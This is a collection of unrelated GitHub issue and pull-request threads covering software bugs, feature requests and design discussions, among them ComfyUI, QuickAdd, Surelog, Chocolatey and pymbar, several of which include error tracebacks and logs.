File "F:\AI\ComfyUI\python\lib\site-packages\torch\nn\modules\module.py", line 1541 in _call_impl
File "F:\AI\ComfyUI\python\lib\site-packages\torch\nn\modules\module.py", line 1532 in wrapped_call_impl
File "F:\AI\ComfyUI\custom_nodes\ComfyUI_LayerStyle\py\segment_anything_func.py", line 162 in get_grounding_output
File "F:\AI\ComfyUI\custom_nodes\ComfyUI_LayerStyle\py\segment_anything_func.py", line 174 in groundingdino_predict
File "F:\AI\ComfyUI\custom_nodes\ComfyUI_LayerStyle\py\segment_anything_ultra_v2.py", line 73 in segment_anything_ultra_v2
File "F:\AI\ComfyUI\execution.py", line 75 in map_node_over_list
File "F:\AI\ComfyUI\execution.py", line 82 in get_output_data
File "F:\AI\ComfyUI\execution.py", line 152 in recursive_execute
File "F:\AI\ComfyUI\execution.py", line 135 in recursive_execute
File "F:\AI\ComfyUI\execution.py", line 403 in execute
File "F:\AI\ComfyUI\custom_nodes\rgthree-comfy_init.py", line 217 in rgthree_execute
File "F:\AI\ComfyUI\main.py", line 121 in prompt_worker
File "F:\AI\ComfyUI\python\lib\threading.py", line 953 in run
File "<enhanced_experience vendors.sentry_sdk.integrations.threading>", line 70 in run
File "F:\AI\ComfyUI\python\lib\threading.py", line 1016 in _bootstrap_inner
File "F:\AI\ComfyUI\python\lib\threading.py", line 973 in _bootstrap
请注意，通常退出代码与其描述都不足以诊断问题！
总是上传完整日志而非只有退出代码。

不清楚原因。换张图试试

不清楚原因。换张图试试

换了，都不行

我有一样的报错，虽然不是你这个节点上出的问题


text:
Run 'make generate'

Update the stats.
Preview: https://hugovk.github.io/py3readiness/

Thank you!

authors: chhantyal hugovk


text:
[BUG] entry|settings menu popup after user macro is finished

Describe the bug
I'm seeing issue that looks like should have been fixed in the https://github.com/chhoumann/quickadd/commit/6848fcac2b3b7d87b14a06a4fe4add3a677a3732
To Reproduce
My macro is configured similarly to the example https://github.com/chhoumann/quickadd/blob/master/docs/Examples/Attachments/citationsManager.js
module.exports = {
    entry: start,
    settings: {
        name: 'Copy article to Hugo',
        author: 'aviskase',
        options: {
            'Root directory of hugo project': {
                type: 'text',
                defaultValue: '',
            },
        },
    }
}
async function start(params, settings) {
    const metaeditPlugin = params.app.plugins.plugins['metaedit'];

    if (metaeditPlugin) {
        await copyToHugo(params, settings, metaeditPlugin);
    } else {
        new Notice('MetaEdit plugin not found.', 5000);
        throw new Error('MetaEdit plugin not found.');
    }
}

async function copyToHugo(params, settings, metaeditPlugin) {
   return;
}

data.json
{
  "choices": [
    {
      "id": "440822be-c032-42c0-b377-89a8c7cd018b",
      "name": "Copy to Hugo",
      "type": "Macro",
      "command": true,
      "macroId": "7820ce6e-26fe-4a7d-81d2-e831448da5fa"
    }
  ],
  "macros": [
    {
      "name": "copy to hugo",
      "id": "7820ce6e-26fe-4a7d-81d2-e831448da5fa",
      "commands": [
        {
          "name": "cpToHugo",
          "type": "UserScript",
          "id": "47807fdd-7ea1-47d5-af7c-a12755f0eade",
          "path": "0x Meta/09 Scripts/QuickAdd/cpToHugo.js",
          "settings": {
            "Root directory of hugo project": "testpath"
          }
        }
      ],
      "runOnStartup": false
    }
  ]
}

Screenshots

Desktop (please complete the following information):

OS: Ubuntu 20.04
Obsidian v0.12.15
QuickAdd 0.4.5

Hey @aviskase! Thanks for both your report and contribution. I found that I was missing a return, which caused the error to appear again. I'll have it fixed in 0.4.2 :)

authors: aviskase chhoumann

repo: chhoumann/quickadd


text:
Protect the main branch from direct pushes, require PR merges if CI fails

Prohibit the main branch from direct merges/pushes. Disallow merges of PRs if CI does not pass.
Acceptance Criteria:

Pushes to main should be prohibited
PR merges should be prohibited if CI does not pass

Settings have been updated. PR merge prohibition is verified in PR #16.

repo: chichiwang/exercise-js


text:
parallel loading in ui-router

As i understand to use your angular-loading-bar with ui-router (https://github.com/angular-ui/ui-router) i should use cfpLoadingBar.start(); and cfpLoadingBar.complete(); using in ui-router $stateChangeStart, $stateChangeSuccess and $stateChangeError?
The main question is how to do this parallel?
Example data A start loading, after that data B start loading, data B finish loading, but A still loading. Progress bar should still working.

Hi guys,
@chieffancypants could you provide and example on how to use  cfpLoadingBar.start() and cfpLoadingBar.complete() when using $stateChangeStart and $stateChangeSuccess ?

I don't have a use-case where I'm doing this so I have no example code off hand, but it sounds super easy.  When you get a changeStart, start the loading bar, and when the change is successful, complete it.  Does that make sense, or are you trying something different?

The problem is when doing triggering the cfpLoadingBar with start or complete I am getting infinite digest loops:
$scope.$on '$viewContentLoaded', ->
cfpLoadingBar.complete()
$scope.$on '$stateChangeStart', ->
cfpLoadingBar.start()

authors: adaro chieffancypants kwladyka

repo: chieffancypants/angular-loading-bar


text:
Highlight lines within test methods where test failures occur

Failed assertions will give sufficient detail that the specific line causing the error can be highlighted.
In the case of failed assertions, the failure detail contains only the file path and line number:

In the case of an exception, the failure detail contains an abbreviated call stack that includes line numbers:

@chiefmyron I just started using the extension today and looks like this feature stopped working, or isn’t working in my (Laravel) environment for some reason.
Any specific suggestions of what I could do to troubleshoot and find the problem?

Hi @macbookandrew - thanks for giving the extension a try! This feature is now behind a setting, and is turned off by default:

Changing the phpunit-test-workbench.log.displayFailuresAsErrorsInCode setting to true should start to show failed assertions as highlighted errors within the code.

Ah, thanks. It does, but apparently not for chained assertions.
I guess this is more of a feature request too: would it be possible to display the “peek” panel at the failed line too?

Here’s how another plugin I’ve used shows failures:

I’ve not really worked on VS Code extensions before, but if you can point me where to start, I could take a stab at that.

That would be a really good improvement - I've created a new ticket to implement it. The good news is it shouldn't take too much to do.

authors: chiefmyron macbookandrew

repo: chiefmyron/phpunit-test-workbench


text:
Z Manual Brew Session Fails Parsing

If the session_type integer in the session file doesn't match an enum value then the PUT during bootup fails. We should just treat any and all invalid sessions after the latest CLEAN as a "dirty" session if we truly can't tell what it was. This way the bootup sequence isn't aborted with a 500 error like this and we get the best guess as to what this session is.
Also we should support 14 as a value... I guess and relay that as a MANUAL brew? Really not sure why anyone would manual brew in the Z ... but sure let's support it or at least not destroy the server interface.
Mar 13 03:39:47 raspberrypi rc.local[552]: [2021-03-13 03:39:47,227] ERROR in session_parser: An exception occurred parsing session file /picobrew_pico/app/sessions/brew/archive/20201026_184328#<z-uid>#af1e4e074575420e96c60168c6b398e9#MANUAL_BREW#14.json
Mar 13 03:39:47 raspberrypi rc.local[552]: [2021-03-13 03:39:47,227] ERROR in session_parser: Expecting value: line 2 column 1 (char 1)
Mar 13 03:39:47 raspberrypi rc.local[552]: [2021-03-13 03:39:47,400] ERROR in app: Exception on /Vendors/input.cshtml [PUT]
Mar 13 03:39:47 raspberrypi rc.local[552]: ValueError: 14 is not a valid SessionType
Mar 13 03:39:47 raspberrypi rc.local[552]: During handling of the above exception, another exception occurred:
Mar 13 03:39:47 raspberrypi rc.local[552]: Traceback (most recent call last):
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask/app.py", line 2447, in wsgi_app
Mar 13 03:39:47 raspberrypi rc.local[552]:     response = self.full_dispatch_request()
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask/app.py", line 1952, in full_dispatch_request
Mar 13 03:39:47 raspberrypi rc.local[552]:     rv = self.handle_user_exception(e)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask_cors/extension.py", line 165, in wrapped_function
Mar 13 03:39:47 raspberrypi rc.local[552]:     return cors_after_request(app.make_response(f(*args, **kwargs)))
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask/app.py", line 1821, in handle_user_exception
Mar 13 03:39:47 raspberrypi rc.local[552]:     reraise(exc_type, exc_value, tb)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask/_compat.py", line 39, in reraise
Mar 13 03:39:47 raspberrypi rc.local[552]:     raise value
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask/app.py", line 1950, in full_dispatch_request
Mar 13 03:39:47 raspberrypi rc.local[552]:     rv = self.dispatch_request()
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/flask/app.py", line 1936, in dispatch_request
Mar 13 03:39:47 raspberrypi rc.local[552]:     return self.view_functions[rule.endpoint](**req.view_args)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/local/lib/python3.7/dist-packages/webargs/core.py", line 443, in wrapper
Mar 13 03:39:47 raspberrypi rc.local[552]:     return func(*args, **kwargs)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/picobrew_pico/app/main/routes_zseries_api.py", line 114, in process_zseries_put_request
Mar 13 03:39:47 raspberrypi rc.local[552]:     return process_zstate(request)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/picobrew_pico/app/main/routes_zseries_api.py", line 185, in process_zstate
Mar 13 03:39:47 raspberrypi rc.local[552]:     "DirtySessionsSinceClean": dirty_sessions_since_clean(uid),
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/picobrew_pico/app/main/routes_zseries_api.py", line 201, in dirty_sessions_since_clean
Mar 13 03:39:47 raspberrypi rc.local[552]:     session_type = SessionType(s['type'])
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/lib/python3.7/enum.py", line 310, in __call__
Mar 13 03:39:47 raspberrypi rc.local[552]:     return cls.__new__(cls, value)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/lib/python3.7/enum.py", line 564, in __new__
Mar 13 03:39:47 raspberrypi rc.local[552]:     raise exc
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/lib/python3.7/enum.py", line 548, in __new__
Mar 13 03:39:47 raspberrypi rc.local[552]:     result = cls._missing_(value)
Mar 13 03:39:47 raspberrypi rc.local[552]:   File "/usr/lib/python3.7/enum.py", line 577, in _missing_
Mar 13 03:39:47 raspberrypi rc.local[552]:     raise ValueError("%r is not a valid %s" % (value, cls.__name__))
Mar 13 03:39:47 raspberrypi rc.local[552]: ValueError: 14 is not a valid SessionType
Mar 13 03:39:47 raspberrypi rc.local[552]: 127.0.0.1 - - [13/Mar/2021 03:39:47] "PUT /Vendors/input.cshtml?type=ZState&token=<z-uid> HTTP/1.0" 500 -

Pushed through a new enum value with https://github.com/chiefwigms/picobrew_pico/commit/283f96457073be24b38495dee8ed136d024f08cc


text:
Request: Automated releases, Repo Hygiene

This is not a feature request in the technical sense, but having to do with the GitHub repo itself.
This project is clearly picking up since its inception, but the GitHub repo itself is missing a few things relating to GitHub repo best practices and release automation. The biggest thing is that the Terraform module is in v0.1.0, and the code works, which is great. But what happens when someone makes a pull request for a hotfix or a new feature? Cutting releases manually is generally prone to human error and leads to arbitrary semantic version bumps. So I propose a few things in this repo that can make it easier to manage in the long term:

Manage semantic versions and GitHub releases automatically based on pull requests and labels using release-drafter.
Templates for feature requests and bug reports.

Here are examples of popular Terraform module repos using what I've described above:

https://github.com/cloudposse/terraform-aws-eks-cluster
https://github.com/terraform-aws-modules/terraform-aws-eks (not using release-drafter but a GHA equivalent in nature).

I can easily add some of these in (as so can another volunteer), but wondering what your thoughts are.

Great suggestion! This is on my todo list.

@bwhaley, any updates here?
I'd like to adopt this project on my team, but I see quite a few dependencies that are outdated:

Amazon Linux 2 is still being used: https://github.com/1debit/alternat/blob/6aba50cad53153264c11c146449f54aa684a418d/modules/terraform-aws-alternat/main.tf#L165-L167
The lambda runtime, Python 3.8, is quite a few years old and scheduled to be deprecated by AWS this year: https://github.com/1debit/alternat/blob/6aba50cad53153264c11c146449f54aa684a418d/modules/terraform-aws-alternat/lambda.tf#L22
The moto and boto3 dependencies are outdated by 1.5 years:

https://github.com/1debit/alternat/blob/main/functions/replace-route/requirements.txt
https://github.com/1debit/alternat/blob/main/functions/replace-route/tests/test_requirements.txt

A lot of the shared actions in this workflow are outdated: https://github.com/1debit/alternat/blob/main/.github/workflows/main.yaml

My team has had a lot of success using renovate for managing dependency updates. We've found it more feature-rich than GitHub's native dependabot tool.
Adopting renovate would be a great addition to this repository in addition to the suggestions by @korenyoni.
We will soon be testing out alternat to see if it suits our needs. If you're open to installing renovate on this repository, I can help configure it to manage the dependencies listed above and test the updates during our upcoming trial.
Let me know your thoughts.

For hygiene, some additional items

terraform-docs output added to readme
pre-commit hooks to run terraform-docs and other hooks

Thank you for considering

authors: ajschmidt8 bwhaley korenyoni nitrocode

repo: chime/terraform-aws-alternat


text:
Added arm64 to build in ci with lipo

I think this can close #53?

Thanks!
Would you mind changing the Swift Packages chapter use a universal build so that future people don't run into this? https://github.com/chinedufn/swift-bridge/blob/6b3cb07814140099191130737f29bffe3e8d7208/book/src/building/swift-packages/README.md
Then we should be good to go here.

Would you mind changing the Swift Packages chapter use a universal build so that future people don't run into this? https://github.com/chinedufn/swift-bridge/blob/6b3cb07814140099191130737f29bffe3e8d7208/book/src/building/swift-packages/README.md

Done! I made it also added the steps a universal iOS simulator build - x86_64-apple-ios and aarch64-apple-ios-sim as well.

Awesome, thanks!

authors: chinedufn simlay

repo: chinedufn/swift-bridge


text:
Control surface not initialized when entering Voicing Mode

While testing the OSC interface, I was able to connect to the control surface without the control surface being properly initialized (in this case it left all the osc rows on the main tab visible despite Synergize having loaded the single osc initial voicing voice).  This should have made all but one osc invisible.  Since they were not invisible, it's possible to send out of range OSC messages from the control surface (e.g. the Harmonic offset for unused osc #2).  This results in errors in the log:
2020/11/06 20:28:49 ERROR:  SendToUI failed to decode json response : OHARM[2] -7: unexpected end of JSON input

These appear to be filtered so that they don't actually get turned into control messages to the Synergy, but should be filtered earlier so they don't end up in the log.
Also need to investigate why the control surface was not initialized.

I am unable to reproduce this.  I've tried with my laptop connected both to wired ethernet or Wifi.  This morning, it's rock solid reliable.
In the past, when initially implementing the touchosc interface, I had these sorts of problems - which turned out to be due to a wifi networking problem (my ipad was connected to a far away access point with low signal and so was getting packet loss when transmitting or receiving OSC packets to Synergize.   This may be what happened last night.

Cannot reproduce

repo: chinenual/synergize


text:
Supporting verilator style "-f" input file

Not sure if there is a standard "-f" option, but the Verilator has some nice command line features that we currenttly rely on.
It would be useful if surelog was one to one compatible with the Verilator source level arguments? For example, supporting embedding of shell variables within the command line file.
Example:
-y $(OHOME)/oh/common/hdl/
https://verilator.org/guide/latest/exe_verilator.html#configuration-files
Read the specified file, and act as if all text inside it was specified as command line arguments. Any relative paths are relative to the current directory. See also -F option. Note -f is fairly standard across Verilog tools. The file may contain // comments which are ignored to the end of the line. It may also contain /* .. / comments which are ignored, be cautious that wildcards are not handled in -f files, and that directory/ is the beginning of a comment, not a wildcard. Any $VAR, $(VAR), or ${VAR} will be replaced with the specified environment variable.

Surelog does support -f with all the bells and whistles you describe above.
Now, there might be bugs. Please try it out on a design that works with Verilator and let me know.

Thanks! Here is the test case:

Git clone https://github.com/aolofsson/oh.git
export OHOME="root of repo"
Create libs.cmd with the following
-y $(OHOME)/stdlib/hdl
surelog $OHOME/stdlib/hdl/oh_fifo_async.v  -f libs.cmd

Log:
[INF:CM0023] Creating log file ./slpp_all/surelog.log.
[WRN:CM0007] Library path "$(OHOME)/stdlib/hdl" does not exist.

Wouldn't you use ${OHOME} instead of $(OHOME) to expand a variable ?

I think the -f file supports multiple variable reference syntax. I'll add the $() support for backward compatibility with the 1000s of -f files out there.

OK, this problem is fixed. Use the latest.
Now, the library contains 2 syntax errors (They are real and need to be fixed, this is non-standard Verilog).

Also, there is no top level module with this command line because oh_fifo_async is a cell, not a module, it is in the -y library, and it is used in other cells in that library. Please provide me with a command line that contains a real top level module.
You can use the following command line to trigger the parser and the elaborator:
surelog $OHOME/stdlib/hdl/oh_fifo_async.v -f libs.cmd -parse -verbose

Awesome, I see the syntax error:-) My bad for being in a hurry to put together a test case. The syntax error actually comes up because all files in the -y directory are preprocessed.

authors: alaindargelas aolofsson hzeller

repo: chipsalliance/Surelog


text:
"Current Working Directory" conundrum

Surelog is highly sensitive to the current working directory. When compiled as part of a larger application alongside other libraries this restriction poses a lot of challenges since libraries expect the current working directory to be the location of the executable (which is usually the case for most applications) and not the location of the files being loaded (which is the case for Surelog).
Another restriction along the same lines is that Surelog expects all source files to be under a single root (since all paths are resolved based on the current working directory). This restricts copy-on-write (i.e. most of the design is to be treated read-only, possibly on a read-only network drive and copy the files being modified locally) like features for tools. A feature like this would require multiple distinct roots.
Bringing this to the table to brainstorm ideas on what the compromise solution would look like where these restrictions can be relaxed and multiple libraries can co-exist happily.
One potential solution -

Accept a repeatable argument to select the current directory whose value can be used to resolve all following arguments on the command line).
Wrap all location references in an internal class implementation (to track both relative and absolute paths) and resolve the paths once at the time of parsing command line arguments.

Appreciate any other suggestions that might help!!

No matter the solution proposed, it shall be fully in line with the SystemVerilog and Verilog standards, so users don't start creating projects that only Surelog can read and other tools can't. That is the purpose of a Standard.
Surelog uses the Verilog command line Standard where file locations are strictly relative to a single root or absolute paths.
There is no such a thing to my knowledge of multiple roots for relative paths.
Maybe the only thing we should add would be a single --work  option that points to the working directory of choice.

One has to look at the Library path specification from SystemVerilog in the Standard to make sure the solution is also compliant to the Library concepts.

Maybe the only thing we should add would be a single --work option that points to the working directory of choice.

My proposed solution is a step further. Instead of a single work option, add multiple and for each such path track the corresponding work value.

so users don't start creating projects that only Surelog can read and other tools can't. That is the purpose of a Standard.

I do not share this understanding of Standard Compliance. By your definition, Surelog is already fails because it supports unsigned int.
Standard dictates minimum requirements and does not dictate how any specific requirement is implemented. It doesn't restrict enhancing the feature as long as the minimum requirements are met. The solution I proposed or the requirement I laid out is no way violating the dictated minimum requirements to meet the standard compliance definition. Solution still treats the current working directory as the default if none is provided (or cd value if provided) and all relative paths are treated relative to this directory. That meets the minimum requirements of the standard, in my opinion.

There is no such a thing to my knowledge of multiple roots for relative paths.

This is the enhancement I am proposing, of course, without violating the standard. The enhancement is that the user can provide paths which are relative to some other previously provided base. AFAIK the standard doesn't dictate that a command that's compatible with Surelog has to be compatible with some other similar library/tool as well. If that were the case, every compiler would be non-compliant because they implement features that are not yet part of the standard and may not compile/link with some other compiler.
All that said, the crux of the problem is that the library takes ownership of the current working directory and modifies it in ways that's not always compatible with the executable it is linked as part of. Calls to chdir should be strictly prohibited. In some ways, this is a follow up of problems that we dealt with in handling filepaths where calls to collect files (and other similar FileUtils API) under a directory would result in a number of calls to chdir to walk into each subdirectory to scan for files. Instead the library needs to track the base alongside the input relative path. For the default case of single root (which the standard requires), the base will always be the chosen working directory but in the case of multiple  roots, there can be correspondingly multiple base values and each path will know its relevant base.

I think you are proposing something which seems to be an alternative to this:
IEEE Std 1800-2017 IEEE Standard for SystemVerilog—Unified Hardware Design, Specification, and Verification Language
Page: 902
33. Configuring the contents of a design
33.1 General
This clause describes the following:
— Configuration libraries
— Configuration syntax
— Using libraries and configurations

Be able to pick files from diverse project roots. That seems what pre-compiled libraries were developed for in SV (Also to match a VHDL feature). Save parse/compilation time, and reuse.
Can you read the whole section 33 of the Standard and see if that would fit your requirements, I'd rather we spend time implement something in the Standard than something tool specific.
Note that independently having a -work to point each independent library compilation to an alternative path without doing a chdir is a good idea.

Okay! I read thru' the section you mentioned and it primarily talks about libraries, library map files and configuration files. It doesn't concern with source files at all. The specific issue I am having to deal with is with source files themselves. I would like to support multiple work directories (or base or root directory) within the same command so when resolving include paths and alike, they aren't rooted to merely one base.
In short, as of the current implementation, include/library/alike paths are relative to the current working directory (or absolute) and I would like to parameterize this so every such path can either be absolute or relative to the preceding work parameter that is not necessarily shared across all such paths.

Note that independently having a -work to point each independent library compilation to an alternative path without doing a chdir is a good idea.

This will be part of the goal but it's tricky given they way how Surelog tracks paths as symbols in SymbolTable. That can only be one path which will have to be absolute if done this way - not ideal because this approach ends up with non-portable cache with absolute paths embedded in binaries. Plus all paths will have to be resolved very early in the process which may not always be feasible. Use of absolute paths in general would create more issues than solve any, if at all.
The other solution was to not use SymbolTable for paths at all and create a custom class to wrap prefix and suffix paths (which when combined gives the absolute). This approach will work well but ends up creating copies of the fs::path object since every use of file path (using SymbolId) will have to be swapped for this wrapper class. Doable but a rather big change.
Yet another approach was to create the above mentioned wrapper class with SymbolTable being the owner of such objects. What's handed out by the SymbolTable during registration is, say, a PathId and that is what is shared in place of the current SymbolId. This approach seems most promising. Welcome your thoughts and input on this.
I am still trying to figure out what would be a good solution to deal with this scenario, I would welcome any suggestions you might have.

Example:
surelog  -work /home1 top.v mid.v -work /home2 bottom.v
You could create the following Symbols when parsing the command line (Literally using extra text @WORK, @FILE):
ID SYMBOL
1  @WORK:/home1@FILE:top.v
2  @WORK:/home1@FILE:mid.v
3  @WORK:/home2@FILE:bottom.v

Whenever in the code you need to read the file or output the file path in a message, you'd do a simple regexp to process the file name. You would not have to change any datastructures...

@alaindargelas Your proposed solution have a few problems.

BaseClass::VpiFile would a problem since that function will now be returning an encoded path. This is public API and I would prefer not to expose this out as part of public API. This is internal to how UHDM/Surelog handles path and the external clients don't have to deal with the intricacies.

It does not allow assigning a symbol pulled from the SymbolTable directly to an fs::path instance. i.e.
const fs::path filepath = m_symbolTable->getSymbol(symbolId); wouldn't work because the symbol is now an encoded one. It has to first be decoded before use.

So, I started making some progress on introducing a new class Path that wraps both the prefix and the suffix path i.e. the work directory and the filepath, by your terminology. The instances of Path are managed by the SymbolTable. So far looking like a promising solution.

On the second point, that is what I described, a simple function would have to be inserted to decide. I think that solution was the least disruptive and definitely not changing anything for UHDM users.

authors: alaindargelas hs-apotell


text:
[easy] Http Integration multiple URLs separator mistake

For integration (streaming events) via HTTP multiple urls could be specified.
In the code they are split with whitespace:
https://github.com/chirpstack/chirpstack/blob/master/chirpstack/src/integration/http.rs#L22
But the hint in the UI for this input field insists it should be comma!
https://github.com/chirpstack/chirpstack/blob/master/ui/src/views/applications/integrations/HttpIntegrationForm.tsx#L46
I would gladly create PR myself but I don't know which way you prefer it to be fixed - either change the code to use comma (slight probability to break some running installation) - or to change the tooltip. I guess the code fix is better as it doesn't make good logic with further whitespace removal.

@RodionGork
I think code fixing (changing the code to use comma) is better than changing the tooltip.
Thanks

Hi @RodionGork, good spot. This indeed should have been split by ',', not whitespace.

authors: RodionGork brocaar sagar-patel-sls

repo: chirpstack/chirpstack


text:
How to add Excalidraw Libraries?

How to add Excalidraw Libraries?

Hello. @sagar-18.
Sorry, compatibility with the Libraries is still under development and is planned to be released along with the official 1.0.0 version.

Okay, Thank you

Hello, @sagar-18. The compatibility with Libraries has been added to the latest alpha version XD. You can download it from here, and thank you for your love of ExcalidrawZ.

[!WARNING]
Always remember to back up your files before updating to this alpha version.

Sorry for the silly question, but how can I import libraries in 1.1.0? I tried File → Import but it doesn't support .excalidrawlib files

Hello, @dserodio
I’m sorry the UI caused you confusion. Your intuition is correct—the import option on the toolbar should also work for the library.
For now, you can open the library by clicking the trailing-sidebar button in the top-right corner of the app. Then, you can import the library by either dragging and dropping or clicking to upload.

authors: chocoford dserodio sagar-18

repo: chocoford/ExcalidrawZ


text:
RFP - cider

Checklist

[x] The package I am requesting does not already exist on https://chocolatey.org/packages;
[x] There is no open issue for this package;
[x] The issue title starts with 'RFP - ';
[x] The download URL is public and not locked behind a paywall / login;

Package Details
Software project URL :https://github.com/ciderapp
Direct download URL for the software / installer : https://github.com/ciderapp/cider-releases/releases/download/v1.4.0.1615/Cider-Setup-1.4.0-alpha.1615.exe
Software summary / short description:
Apple Music Client

I pick up this package :slightly_smiling_face:
I actually already have created a Chocolatey package which is currently waiting for the review of Moderators :wink:

Package approved, thanks for creating the package @Xav83

authors: TheCakeIsNaOH Xav83 dtantono


text:
RFP - OfficeToPDF

OfficeToPDF is a command line utility that converts Microsoft Office 2003, 2007, 2010, 2013 and 2016 documents from their native format into PDF using Office's in-built PDF export features.
Source: https://github.com/cognidox/OfficeToPDF
Latest Release: https://github.com/cognidox/OfficeToPDF/releases/latest

Status: Review
https://chocolatey.org/packages/office-to-pdf

Status: Published
https://chocolatey.org/packages/office-to-pdf
Can be closed.


text:
Restrict View Package Arguments

Checklist

[X] I have verified this is the correct repository for opening this issue.
[X] I have verified no other issues exist related to my request.

Is Your Feature Request Related To A Problem? Please describe.
No response
Describe The Solution. Why is it needed?
The View Package Arguments allows users of Chocolatey GUI to see information about the remembered package arguments. This may not be desirable in an organisational context.
We could do (one or more of these):

Only allow View Package Arguments to be seen by administrators.
Have a setting that administrators can toggle to allow users to see the View Package Arguments or not.

Additional Context
No response
Related Issues

GitLab

/cc @imm0rtalsupp0rt

repo: chocolatey/ChocolateyGUI


text:
(#757) Allow buttons to be enabled/disabled

The decision was taken to allow a button to be enabled/disabled based on
current Chocolatey configuration (mainly when running in background
service mode). To allow for this, whilst still allowing a button to be
enabled/disabled based on application logic, a new behavior was
introduced to encapsulate this logic.
This will allow the Chocolatey GUI Licensed Extension to override the
AllowedCommandsService, to control which operations should be enabled
and disabled, based on the background service configuration.
Relates to #757

@punker76 I have looked at what you suggested, and I have updated the relevant sections.  I have tested it out this morning, and this is what is now happening.
While running as a normal OSS user of Chocolatey GUI, you will get the following:

i.e. all buttons enabled, and tooltips correctly showing what should be done.
But when running with the Chocolatey GUI Licensed Extension, which will respect the current configuration in the backgroundServiceAllowedCommands setting, you will get the following:

i.e. the options that are not allowed will be disabled, the the tooltip will provide information about what is going on.
What do you think?


text:
Should have \sum_n W_nk = 1

Hello,
I'm trying to extract the free energy from a number of yank experiments and some of them are throwing this error
WARNING: Did not converge to within specified tolerance.
max_delta = 2.964487e-03, tol = 1.000000e-12, maximum_iterations = 250, iterations completed = 249
Traceback (most recent call last):
  File "/export/home/bergazin/anaconda3/envs/sampl-2/bin/yank", line 11, in <module>
    load_entry_point('yank==0.23.7', 'console_scripts', 'yank')()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/cli.py", line 73, in main
    dispatched = getattr(commands, command).dispatch(command_args)
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/commands/analyze.py", line 147, in dispatch
    single_run()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/mpi.py", line 271, in _wrapper
    return run_single_node(rank, task, *args, **kwargs)
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/mpi.py", line 220, in run_single_node
    result = task(*args, **kwargs)
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/commands/analyze.py", line 142, in single_run
    output = analyze.analyze_directory(args['--store'], **analyzer_kwargs)
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/analyze.py", line 768, in analyze_directory
    analysis_data = auto_experiment_analyzer.auto_analyze()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/analyze.py", line 172, in make_copy
    return copy.deepcopy(wrap(*args, **kwargs))
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/analyze.py", line 681, in auto_analyze
    _ = self.get_experiment_free_energy_data()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/analyze.py", line 172, in make_copy
    return copy.deepcopy(wrap(*args, **kwargs))
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/analyze.py", line 541, in get_experiment_free_energy_data
    data[phase_name] = analyzer.analyze_phase()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/analyze.py", line 150, in analyze_phase
    Deltaf_ij, dDeltaf_ij = self.get_free_energy()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/multistate/multistateanalyzer.py", line 1898, in get_free_energy
    self._compute_free_energy()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/yank/multistate/multistateanalyzer.py", line 1855, in _compute_free_energy
    (Deltaf_ij, dDeltaf_ij) = self.mbar.getFreeEnergyDifferences()
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/pymbar/mbar.py", line 542, in getFreeEnergyDifferences
    np.exp(self.Log_W_nk), self.N_k, method=uncertainty_method)
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/pymbar/mbar.py", line 1679, in _computeAsymptoticCovarianceMatrix
    check_w_normalized(W, N_k)
  File "/export/home/bergazin/anaconda3/envs/sampl-2/lib/python3.7/site-packages/pymbar/utils.py", line 360, in check_w_normalized
    (firstbad, column_sums[firstbad], np.sum(badcolumns)))
pymbar.utils.ParameterError: Warning: Should have \sum_n W_nk = 1.  Actual column sum for state 0 was 1.005054. 20 other columns have similar problems

My pymbar version is 3.0.5.
Here is the YAML file I used for this calculation, the experiment logfile, and all my env packages in case it helps error_files.zip

Here is the YAML file I used for this calculation and the experiment logfile in case it helps
micro_yank.yaml.zip

I'd cross-post this in https://github.com/choderalab/yank/issues too just in case!
Usually, the problem underlying this warning is that the different distributions are thermodynamically inconsistent, but I'm not sure why YANK would be doing this unless the simulations are incredibly short or most of the data is getting thrown out by equilibration detection.

Downgrading to pymbar version 3.0.3 has fixed this

Tagging @mrshirts: Do you have anyone that can take a look at what went into pymbar 3.0.4 that may have broken things?

I can take a look after the Holidays - I don't think there's anyone else who can right now.

We're running into this same issue with GROMACS-based free energy calculations, so it's not specifically yank-related. @hannahbaumann is going to provide input files/scripts. She was able to bypass by downgrading pymbar (as did Yank -- https://github.com/omnia-md/conda-recipes/pull/1027 ) but we probably need to sort this out soon.
I think Hannah's test case will help as it's an analysis-only failure: We have an analysis which seems OK and works with the older pymbar, but fails with the new pymbar (via alchemlyb).
@Lnaden are you still involved with this package? I see some relatively recent merges from you.

